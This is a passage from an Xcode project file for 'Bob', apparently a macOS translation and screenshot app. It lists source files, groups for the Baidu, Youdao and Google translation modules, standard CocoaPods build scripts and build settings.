C99EEBBE2385799D00FEE666 /* MMMacro.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMMacro.h; sourceTree = "<group>"; };
C99EEBBF2385799D00FEE666 /* NSButton+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSButton+MM.h"; sourceTree = "<group>"; };
C99EEBC02385799D00FEE666 /* NSUserDefaults+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSUserDefaults+MM.h"; sourceTree = "<group>"; };
C99EEBC12385799D00FEE666 /* NSString+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSString+MM.h"; sourceTree = "<group>"; };
C99EEBC22385799D00FEE666 /* NSMutableAttributedString+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSMutableAttributedString+MM.m"; sourceTree = "<group>"; };
C99EEBC32385799D00FEE666 /* NSArray+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSArray+MM.m"; sourceTree = "<group>"; };
C99EEBDF238585E700FEE666 /* PrefixHeader.pch */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = PrefixHeader.pch; sourceTree = "<group>"; };
C9AEF96923A0D57A003BE95C /* TextView.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = TextView.h; sourceTree = "<group>"; };
C9AEF96A23A0D57A003BE95C /* TextView.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = TextView.m; sourceTree = "<group>"; };
C9B5CA3F23B72C580038EE98 /* BobMacro.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = BobMacro.h; sourceTree = "<group>"; };
C9C3BDC5238E76B000D5F1C1 /* SnipWindowController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SnipWindowController.h; sourceTree = "<group>"; };
C9C3BDC6238E76B000D5F1C1 /* SnipWindowController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SnipWindowController.m; sourceTree = "<group>"; };
C9C3BDC8238E76C800D5F1C1 /* SnipWindow.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SnipWindow.h; sourceTree = "<group>"; };
C9C3BDC9238E76C800D5F1C1 /* SnipWindow.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SnipWindow.m; sourceTree = "<group>"; };
C9C3BDCB238E78BA00D5F1C1 /* SnipViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SnipViewController.h; sourceTree = "<group>"; };
C9C3BDCC238E78BA00D5F1C1 /* SnipViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SnipViewController.m; sourceTree = "<group>"; };
C9C3BDD1238EA0EF00D5F1C1 /* Snip.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Snip.h; sourceTree = "<group>"; };
C9C3BDD2238EA0EF00D5F1C1 /* Snip.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Snip.m; sourceTree = "<group>"; };
C9D679CA23A3403F0073957C /* NSDictionary+MM.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSDictionary+MM.h"; sourceTree = "<group>"; };
C9D679CB23A3403F0073957C /* NSDictionary+MM.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSDictionary+MM.m"; sourceTree = "<group>"; };
C9F7E87A23A2165F0025ADF6 /* YoudaoTranslate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = YoudaoTranslate.h; sourceTree = "<group>"; };
C9F7E87B23A2165F0025ADF6 /* YoudaoTranslate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = YoudaoTranslate.m; sourceTree = "<group>"; };
DA7129FC389066F3A2227458 /* Pods-Bob.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Bob.debug.xcconfig"; path = "Target Support Files/Pods-Bob/Pods-Bob.debug.xcconfig"; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
C90BE306239F38EB00ADE88B /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
C99EEB152385796700FEE666 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
D2B213678C42C42C2AD2339C /* Pods_Bob.framework in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
713A345D86B5BC86D158B68F /* Frameworks */ = {
isa = PBXGroup;
children = (
3F045DD4639F4F9836B1E8D6 /* Pods_Bob.framework */,
);
name = Frameworks;
sourceTree = "<group>";
};
9CB57B9B45EC322A11ED8865 /* Pods */ = {
isa = PBXGroup;
children = (
DA7129FC389066F3A2227458 /* Pods-Bob.debug.xcconfig */,
3A08EDDF832035FD57B6A226 /* Pods-Bob.release.xcconfig */,
);
path = Pods;
sourceTree = "<group>";
};
C90BE30A239F38EB00ADE88B /* BobHelper */ = {
isa = PBXGroup;
children = (
C90BE30B239F38EB00ADE88B /* AppDelegate.h */,
C90BE30C239F38EB00ADE88B /* AppDelegate.m */,
C90BE30E239F38EB00ADE88B /* ViewController.h */,
C90BE30F239F38EB00ADE88B /* ViewController.m */,
C90BE311239F38EC00ADE88B /* Assets.xcassets */,
C90BE313239F38EC00ADE88B /* Main.storyboard */,
C90BE316239F38EC00ADE88B /* Info.plist */,
C90BE317239F38EC00ADE88B /* main.m */,
C90BE319239F38EC00ADE88B /* BobHelper.entitlements */,
);
path = BobHelper;
sourceTree = "<group>";
};
C9889F5E23AA0FC700C2D127 /* Google */ = {
isa = PBXGroup;
children = (
C9889F5F23AA0FDA00C2D127 /* GoogleTranslate.h */,
C9889F6023AA0FDA00C2D127 /* GoogleTranslate.m */,
);
path = Google;
sourceTree = "<group>";
};
C988B28523B1F11F007C8108 /* DarkMode */ = {
isa = PBXGroup;
children = (
C988B28923B1F135007C8108 /* Singleton.h */,
C988B28623B1F12D007C8108 /* DarkModeManager.h */,
C988B28723B1F12D007C8108 /* DarkModeManager.m */,
C90007F123B3BA710002B6A0 /* NSObject+DarkMode.h */,
C90007F223B3BA710002B6A0 /* NSObject+DarkMode.m */,
C90007F423B3C5BB0002B6A0 /* NSView+HiddenDebug.h */,
C90007F523B3C5BB0002B6A0 /* NSView+HiddenDebug.m */,
);
path = DarkMode;
sourceTree = "<group>";
};
C98C179A239E1B7400BD02DB /* PerferenceWindow */ = {
isa = PBXGroup;
children = (
C98C179F239E3F4A00BD02DB /* PreferencesWindowController.h */,
C98C17A0239E3F4A00BD02DB /* PreferencesWindowController.m */,
C98C17A2239E40AC00BD02DB /* GeneralViewController.h */,
C98C17A3239E40AC00BD02DB /* GeneralViewController.m */,
C98C17A4239E40AC00BD02DB /* GeneralViewController.xib */,
C98C17A7239E410300BD02DB /* AboutViewController.h */,
C98C17A8239E410300BD02DB /* AboutViewController.m */,
C98C17A9239E410300BD02DB /* AboutViewController.xib */,
);
path = PerferenceWindow;
sourceTree = "<group>";
};
C98C17AD239E511200BD02DB /* Shortcut */ = {
isa = PBXGroup;
children = (
C98C17AE239E516A00BD02DB /* Shortcut.h */,
C98C17AF239E516A00BD02DB /* Shortcut.m */,
);
path = Shortcut;
sourceTree = "<group>";
};
C98CFA1E239F8C4000FB7EC4 /* MMKit */ = {
isa = PBXGroup;
children = (
C9D9ED7723B73A83005803A4 /* Category */,
C99EEBB02385799D00FEE666 /* Utility */,
C98CFA1F239F8C4E00FB7EC4 /* Log */,
C98CFA2C239FA6F400FB7EC4 /* Crash */,
);
path = MMKit;
sourceTree = "<group>";
};
C98CFA1F239F8C4E00FB7EC4 /* Log */ = {
isa = PBXGroup;
children = (
C98CFA23239F8CDB00FB7EC4 /* MMLog.h */,
C98CFA26239F8CDB00FB7EC4 /* MMLog.m */,
C98CFA21239F8CDB00FB7EC4 /* MMLog.swift */,
C98CFA27239F8CDB00FB7EC4 /* MMConsoleLogFormatter.h */,
C98CFA24239F8CDB00FB7EC4 /* MMConsoleLogFormatter.m */,
C98CFA25239F8CDB00FB7EC4 /* MMFileLogFormatter.h */,
C98CFA22239F8CDB00FB7EC4 /* MMFileLogFormatter.m */,
);
path = Log;
sourceTree = "<group>";
};
C98CFA2C239FA6F400FB7EC4 /* Crash */ = {
isa = PBXGroup;
children = (
C98CFA36239FA8E500FB7EC4 /* MMCrash.h */,
C98CFA37239FA8E500FB7EC4 /* MMCrash.m */,
C98CFA2E239FA6F400FB7EC4 /* MMCrashFileTool.h */,
C98CFA31239FA6F400FB7EC4 /* MMCrashFileTool.m */,
C98CFA2D239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.m */,
C98CFA32239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.h */,
C98CFA30239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.h */,
C98CFA2F239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.m */,
);
path = Crash;
sourceTree = "<group>";
};
C99EEB0F2385796700FEE666 = {
isa = PBXGroup;
children = (
C99EEB1A2385796700FEE666 /* Bob */,
C90BE30A239F38EB00ADE88B /* BobHelper */,
C99EEB192385796700FEE666 /* Products */,
9CB57B9B45EC322A11ED8865 /* Pods */,
713A345D86B5BC86D158B68F /* Frameworks */,
);
sourceTree = "<group>";
};
C99EEB192385796700FEE666 /* Products */ = {
isa = PBXGroup;
children = (
C99EEB182385796700FEE666 /* Bob.app */,
C90BE309239F38EB00ADE88B /* BobHelper.app */,
);
name = Products;
sourceTree = "<group>";
};
C99EEB1A2385796700FEE666 /* Bob */ = {
isa = PBXGroup;
children = (
C99EEB872385799D00FEE666 /* Feature */,
C99EEB1B2385796700FEE666 /* AppDelegate.h */,
C99EEB1C2385796700FEE666 /* AppDelegate.m */,
C9B5CA3F23B72C580038EE98 /* BobMacro.h */,
C99EEBDF238585E700FEE666 /* PrefixHeader.pch */,
C98CFA20239F8CDA00FB7EC4 /* Bob-Bridging-Header.h */,
C99EEB212385796900FEE666 /* Assets.xcassets */,
C99EEB232385796900FEE666 /* Main.storyboard */,
C99EEB262385796900FEE666 /* Info.plist */,
C99EEB272385796900FEE666 /* main.m */,
C99EEB292385796900FEE666 /* Bob.entitlements */,
);
path = Bob;
sourceTree = "<group>";
};
C99EEB872385799D00FEE666 /* Feature */ = {
isa = PBXGroup;
children = (
C98CFA1E239F8C4000FB7EC4 /* MMKit */,
C988B28523B1F11F007C8108 /* DarkMode */,
C99EEBAD2385799D00FEE666 /* Selection */,
C9C3BDC4238E766B00D5F1C1 /* Snip */,
C9F7E87623A210B80025ADF6 /* Translate */,
C99EEB882385799D00FEE666 /* Configuration */,
C98C17AD239E511200BD02DB /* Shortcut */,
C99EEBAA2385799D00FEE666 /* StatusItem */,
C98C179A239E1B7400BD02DB /* PerferenceWindow */,
C99EEB972385799D00FEE666 /* TranslateWindow */,
);
path = Feature;
sourceTree = "<group>";
};
C99EEB882385799D00FEE666 /* Configuration */ = {
isa = PBXGroup;
children = (
C99EEB892385799D00FEE666 /* Configuration.h */,
C99EEB8A2385799D00FEE666 /* Configuration.m */,
);
path = Configuration;
sourceTree = "<group>";
};
C99EEB8B2385799D00FEE666 /* Baidu */ = {
isa = PBXGroup;
children = (
C99EEB8D2385799D00FEE666 /* BaiduTranslate.h */,
C99EEB912385799D00FEE666 /* BaiduTranslate.m */,
);
path = Baidu;
sourceTree = "<group>";
};
C99EEB972385799D00FEE666 /* TranslateWindow */ = {
isa = PBXGroup;
children = (
C99EEB9A2385799D00FEE666 /* TranslateWindowController.h */,
C99EEBA52385799D00FEE666 /* TranslateWindowController.m */,
C99EEB9B2385799D00FEE666 /* TranslateWindow.h */,
C99EEBA42385799D00FEE666 /* TranslateWindow.m */,
C99EEB982385799D00FEE666 /* TranslateViewController.h */,
C99EEBA22385799D00FEE666 /* TranslateViewController.m */,
C99EEB9F2385799D00FEE666 /* PopUpButton.h */,
C99EEBA62385799D00FEE666 /* PopUpButton.m */,
C99EEBA32385799D00FEE666 /* ImageButton.h */,
C99EEB9C2385799D00FEE666 /* ImageButton.m */,
C9AEF96923A0D57A003BE95C /* TextView.h */,
C9AEF96A23A0D57A003BE95C /* TextView.m */,
C99EEB992385799D00FEE666 /* QueryView.h */,
C99EEBA12385799D00FEE666 /* QueryView.m */,
C99EEB9E2385799D00FEE666 /* ResultView.h */,
C99EEBA82385799D00FEE666 /* ResultView.m */,
C99EEBA72385799D00FEE666 /* NormalResultView.h */,
C99EEB9D2385799D00FEE666 /* NormalResultView.m */,
C99EEBA02385799D00FEE666 /* WordResultView.h */,
C99EEBA92385799D00FEE666 /* WordResultView.m */,
);
path = TranslateWindow;
sourceTree = "<group>";
};
C99EEBAA2385799D00FEE666 /* StatusItem */ = {
isa = PBXGroup;
children = (
C99EEBAC2385799D00FEE666 /* StatusItem.h */,
C99EEBAB2385799D00FEE666 /* StatusItem.m */,
);
path = StatusItem;
sourceTree = "<group>";
};
C99EEBAD2385799D00FEE666 /* Selection */ = {
isa = PBXGroup;
children = (
C99EEBAF2385799D00FEE666 /* Selection.h */,
C99EEBAE2385799D00FEE666 /* Selection.m */,
);
path = Selection;
sourceTree = "<group>";
};
C99EEBB02385799D00FEE666 /* Utility */ = {
isa = PBXGroup;
children = (
C99EEBBE2385799D00FEE666 /* MMMacro.h */,
C91C153623AB8B0600CCAEC0 /* MMTool.h */,
C91C153723AB8B0600CCAEC0 /* MMTool.m */,
C99EEBBB2385799D00FEE666 /* MMMake.h */,
C99EEBB22385799D00FEE666 /* MMMake.m */,
C99EEBBC2385799D00FEE666 /* MMEventMonitor.h */,
C99EEBB12385799D00FEE666 /* MMEventMonitor.m */,
C91DF6AF23A35E07009CB158 /* MMOrderedDictionary.h */,
C91DF6AE23A35E07009CB158 /* MMOrderedDictionary.m */,
);
path = Utility;
sourceTree = "<group>";
};
C9C3BDC4238E766B00D5F1C1 /* Snip */ = {
isa = PBXGroup;
children = (
C9C3BDD1238EA0EF00D5F1C1 /* Snip.h */,
C9C3BDD2238EA0EF00D5F1C1 /* Snip.m */,
C9C3BDC5238E76B000D5F1C1 /* SnipWindowController.h */,
C9C3BDC6238E76B000D5F1C1 /* SnipWindowController.m */,
C9C3BDC8238E76C800D5F1C1 /* SnipWindow.h */,
C9C3BDC9238E76C800D5F1C1 /* SnipWindow.m */,
C9C3BDCB238E78BA00D5F1C1 /* SnipViewController.h */,
C9C3BDCC238E78BA00D5F1C1 /* SnipViewController.m */,
C90C77832391188400A65E42 /* SnipFocusView.h */,
C90C77842391188400A65E42 /* SnipFocusView.m */,
);
path = Snip;
sourceTree = "<group>";
};
C9D9ED7723B73A83005803A4 /* Category */ = {
isa = PBXGroup;
children = (
C99EEBB42385799D00FEE666 /* NSColor+MM.h */,
C99EEBBD2385799D00FEE666 /* NSColor+MM.m */,
C99EEBB32385799D00FEE666 /* NSAttributedString+MM.h */,
C99EEBBA2385799D00FEE666 /* NSAttributedString+MM.m */,
C99EEBB92385799D00FEE666 /* NSMutableAttributedString+MM.h */,
C99EEBC22385799D00FEE666 /* NSMutableAttributedString+MM.m */,
C99EEBC12385799D00FEE666 /* NSString+MM.h */,
C99EEBB52385799D00FEE666 /* NSString+MM.m */,
C99EEBB82385799D00FEE666 /* NSArray+MM.h */,
C99EEBC32385799D00FEE666 /* NSArray+MM.m */,
C99EEBC02385799D00FEE666 /* NSUserDefaults+MM.h */,
C99EEBB62385799D00FEE666 /* NSUserDefaults+MM.m */,
C99EEBBF2385799D00FEE666 /* NSButton+MM.h */,
C99EEBB72385799D00FEE666 /* NSButton+MM.m */,
C99142722390FCBD0025E75E /* NSImage+MM.h */,
C99142732390FCBD0025E75E /* NSImage+MM.m */,
C9986E1A2393B06C0016F569 /* NSView+MM.h */,
C9986E1B2393B06C0016F569 /* NSView+MM.m */,
C9986E1D2393B09E0016F569 /* NSWindow+MM.h */,
C9986E1E2393B09E0016F569 /* NSWindow+MM.m */,
C9676F2923A0908F007DD023 /* NSPasteboard+MM.h */,
C9676F2A23A0908F007DD023 /* NSPasteboard+MM.m */,
C9D679CA23A3403F0073957C /* NSDictionary+MM.h */,
C9D679CB23A3403F0073957C /* NSDictionary+MM.m */,
);
path = Category;
sourceTree = "<group>";
};
C9F7E87623A210B80025ADF6 /* Translate */ = {
isa = PBXGroup;
children = (
C9F7E87723A212050025ADF6 /* Common */,
C99EEB8B2385799D00FEE666 /* Baidu */,
C9F7E87823A215270025ADF6 /* Youdao */,
C9889F5E23AA0FC700C2D127 /* Google */,
);
path = Translate;
sourceTree = "<group>";
};
C9F7E87723A212050025ADF6 /* Common */ = {
isa = PBXGroup;
children = (
C910456E23A3AF44001D5211 /* Translate.h */,
C910456F23A3AF44001D5211 /* Translate.m */,
C99EEB902385799D00FEE666 /* TranslateLanguage.h */,
C99EEB962385799D00FEE666 /* TranslateLanguage.m */,
C99EEB8C2385799D00FEE666 /* TranslateError.h */,
C99EEB922385799D00FEE666 /* TranslateError.m */,
C99EEB8F2385799D00FEE666 /* TranslateResult.h */,
C99EEB932385799D00FEE666 /* TranslateResult.m */,
C959D338238809B800DD8808 /* OCRResult.h */,
C959D339238809B800DD8808 /* OCRResult.m */,
);
path = Common;
sourceTree = "<group>";
};
C9F7E87823A215270025ADF6 /* Youdao */ = {
isa = PBXGroup;
children = (
C9F7E87A23A2165F0025ADF6 /* YoudaoTranslate.h */,
C9F7E87B23A2165F0025ADF6 /* YoudaoTranslate.m */,
);
path = Youdao;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
C90BE308239F38EB00ADE88B /* BobHelper */ = {
isa = PBXNativeTarget;
buildConfigurationList = C90BE31A239F38EC00ADE88B /* Build configuration list for PBXNativeTarget "BobHelper" */;
buildPhases = (
C90BE305239F38EB00ADE88B /* Sources */,
C90BE306239F38EB00ADE88B /* Frameworks */,
C90BE307239F38EB00ADE88B /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = BobHelper;
productName = BobHelper;
productReference = C90BE309239F38EB00ADE88B /* BobHelper.app */;
productType = "com.apple.product-type.application";
};
C99EEB172385796700FEE666 /* Bob */ = {
isa = PBXNativeTarget;
buildConfigurationList = C99EEB2C2385796900FEE666 /* Build configuration list for PBXNativeTarget "Bob" */;
buildPhases = (
21D768ECC6D11E109E6EB73A /* [CP] Check Pods Manifest.lock */,
C99EEB142385796700FEE666 /* Sources */,
C99EEB152385796700FEE666 /* Frameworks */,
C99EEB162385796700FEE666 /* Resources */,
124D690EE7236D6430CF945E /* [CP] Embed Pods Frameworks */,
C98CAE74239F45DA005F7DCA /* CopyFiles */,
);
buildRules = (
);
dependencies = (
);
name = Bob;
productName = Bob;
productReference = C99EEB182385796700FEE666 /* Bob.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
C99EEB102385796700FEE666 /* Project object */ = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 1130;
ORGANIZATIONNAME = ripperhe;
TargetAttributes = {
C90BE308239F38EB00ADE88B = {
CreatedOnToolsVersion = 11.2.1;
};
C99EEB172385796700FEE666 = {
CreatedOnToolsVersion = 11.2.1;
LastSwiftMigration = 1120;
};
};
};
buildConfigurationList = C99EEB132385796700FEE666 /* Build configuration list for PBXProject "Bob" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
"zh-Hans",
);
mainGroup = C99EEB0F2385796700FEE666;
productRefGroup = C99EEB192385796700FEE666 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
C99EEB172385796700FEE666 /* Bob */,
C90BE308239F38EB00ADE88B /* BobHelper */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
C90BE307239F38EB00ADE88B /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
C90BE312239F38EC00ADE88B /* Assets.xcassets in Resources */,
C90BE315239F38EC00ADE88B /* Main.storyboard in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
C99EEB162385796700FEE666 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
C99EEB222385796900FEE666 /* Assets.xcassets in Resources */,
C99EEB252385796900FEE666 /* Main.storyboard in Resources */,
C98C17A6239E40AC00BD02DB /* GeneralViewController.xib in Resources */,
C98C17AB239E410300BD02DB /* AboutViewController.xib in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
124D690EE7236D6430CF945E /* [CP] Embed Pods Frameworks */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
"${PODS_ROOT}/Target Support Files/Pods-Bob/Pods-Bob-frameworks-${CONFIGURATION}-input-files.xcfilelist",
);
name = "[CP] Embed Pods Frameworks";
outputFileListPaths = (
"${PODS_ROOT}/Target Support Files/Pods-Bob/Pods-Bob-frameworks-${CONFIGURATION}-output-files.xcfilelist",
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-Bob/Pods-Bob-frameworks.sh\"\n";
showEnvVarsInLog = 0;
};
21D768ECC6D11E109E6EB73A /* [CP] Check Pods Manifest.lock */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
"${PODS_PODFILE_DIR_PATH}/Podfile.lock",
"${PODS_ROOT}/Manifest.lock",
);
name = "[CP] Check Pods Manifest.lock";
outputFileListPaths = (
);
outputPaths = (
"$(DERIVED_FILE_DIR)/Pods-Bob-checkManifestLockResult.txt",
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n";
showEnvVarsInLog = 0;
};
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
C90BE305239F38EB00ADE88B /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
C90BE310239F38EB00ADE88B /* ViewController.m in Sources */,
C90BE318239F38EC00ADE88B /* main.m in Sources */,
C90BE30D239F38EB00ADE88B /* AppDelegate.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
C99EEB142385796700FEE666 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
C98CFA33239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.m in Sources */,
C99EEBD42385799D00FEE666 /* StatusItem.m in Sources */,
C98CFA34239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.m in Sources */,
C90007F623B3C5BB0002B6A0 /* NSView+HiddenDebug.m in Sources */,
C9AEF96B23A0D57A003BE95C /* TextView.m in Sources */,
C91DF6B023A35E07009CB158 /* MMOrderedDictionary.m in Sources */,
C98C17A5239E40AC00BD02DB /* GeneralViewController.m in Sources */,
C98CFA2A239F8CDB00FB7EC4 /* MMConsoleLogFormatter.m in Sources */,
C98CFA2B239F8CDB00FB7EC4 /* MMLog.m in Sources */,
C99EEBCA2385799D00FEE666 /* TranslateLanguage.m in Sources */,
C99EEBD32385799D00FEE666 /* WordResultView.m in Sources */,
C99EEBDE2385799D00FEE666 /* NSArray+MM.m in Sources */,
C9676F2B23A0908F007DD023 /* NSPasteboard+MM.m in Sources */,
C99EEBD92385799D00FEE666 /* NSUserDefaults+MM.m in Sources */,
C99EEBCB2385799D00FEE666 /* ImageButton.m in Sources */,
C99EEBC72385799D00FEE666 /* TranslateResult.m in Sources */,
C91C153823AB8B0600CCAEC0 /* MMTool.m in Sources */,
C99EEBCF2385799D00FEE666 /* TranslateWindow.m in Sources */,
C9C3BDD3238EA0EF00D5F1C1 /* Snip.m in Sources */,
C9C3BDCD238E78BA00D5F1C1 /* SnipViewController.m in Sources */,
C90C77852391188400A65E42 /* SnipFocusView.m in Sources */,
C99EEB282385796900FEE666 /* main.m in Sources */,
C99EEBC42385799D00FEE666 /* Configuration.m in Sources */,
C99EEBC62385799D00FEE666 /* TranslateError.m in Sources */,
C98C17A1239E3F4A00BD02DB /* PreferencesWindowController.m in Sources */,
C9C3BDC7238E76B000D5F1C1 /* SnipWindowController.m in Sources */,
C9986E1C2393B06C0016F569 /* NSView+MM.m in Sources */,
C99EEBD12385799D00FEE666 /* PopUpButton.m in Sources */,
C98CFA38239FA8E500FB7EC4 /* MMCrash.m in Sources */,
C99EEBDD2385799D00FEE666 /* NSMutableAttributedString+MM.m in Sources */,
C99EEBCD2385799D00FEE666 /* QueryView.m in Sources */,
C98CFA28239F8CDB00FB7EC4 /* MMLog.swift in Sources */,
C910457023A3AF44001D5211 /* Translate.m in Sources */,
C9C3BDCA238E76C800D5F1C1 /* SnipWindow.m in Sources */,
C99EEBD52385799D00FEE666 /* Selection.m in Sources */,
C99EEBCE2385799D00FEE666 /* TranslateViewController.m in Sources */,
C99EEBDA2385799D00FEE666 /* NSButton+MM.m in Sources */,
C98CFA29239F8CDB00FB7EC4 /* MMFileLogFormatter.m in Sources */,
C98C17B0239E516A00BD02DB /* Shortcut.m in Sources */,
C98C17AA239E410300BD02DB /* AboutViewController.m in Sources */,
C98CFA35239FA6F400FB7EC4 /* MMCrashFileTool.m in Sources */,
C99EEBC52385799D00FEE666 /* BaiduTranslate.m in Sources */,
C90007F323B3BA710002B6A0 /* NSObject+DarkMode.m in Sources */,
C99EEB1D2385796700FEE666 /* AppDelegate.m in Sources */,
C99EEBD72385799D00FEE666 /* MMMake.m in Sources */,
C9D679CC23A3403F0073957C /* NSDictionary+MM.m in Sources */,
C9889F6123AA0FDA00C2D127 /* GoogleTranslate.m in Sources */,
C99EEBD22385799D00FEE666 /* ResultView.m in Sources */,
C99EEBDC2385799D00FEE666 /* NSColor+MM.m in Sources */,
C99EEBD02385799D00FEE666 /* TranslateWindowController.m in Sources */,
C99EEBD82385799D00FEE666 /* NSString+MM.m in Sources */,
C99EEBDB2385799D00FEE666 /* NSAttributedString+MM.m in Sources */,
C959D33A238809B800DD8808 /* OCRResult.m in Sources */,
C988B28823B1F12D007C8108 /* DarkModeManager.m in Sources */,
C9F7E87C23A2165F0025ADF6 /* YoudaoTranslate.m in Sources */,
C99EEBCC2385799D00FEE666 /* NormalResultView.m in Sources */,
C99142742390FCBD0025E75E /* NSImage+MM.m in Sources */,
C99EEBD62385799D00FEE666 /* MMEventMonitor.m in Sources */,
C9986E1F2393B09E0016F569 /* NSWindow+MM.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
C90BE313239F38EC00ADE88B /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
C90BE314239F38EC00ADE88B /* Base */,
C99031D223A09E4300E904D4 /* zh-Hans */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
C99EEB232385796900FEE666 /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
C99EEB242385796900FEE666 /* Base */,
C99031D123A09E4300E904D4 /* zh-Hans */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
C90BE31B239F38EC00ADE88B /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = BobHelper/BobHelper.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
CURRENT_PROJECT_VERSION = 0.2.0.0;
INFOPLIST_FILE = BobHelper/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.12;
MARKETING_VERSION = 0.2.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.ripperhe.BobHelper-debug";
PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES;
};
name = Debug;
};
C90BE31C239F38EC00ADE88B /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = BobHelper/BobHelper.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
CURRENT_PROJECT_VERSION = 0.2.0.0;
INFOPLIST_FILE = BobHelper/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.12;
MARKETING_VERSION = 0.2.0;
PRODUCT_BUNDLE_IDENTIFIER = com.ripperhe.BobHelper;
PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES;
};
name = Release;
};
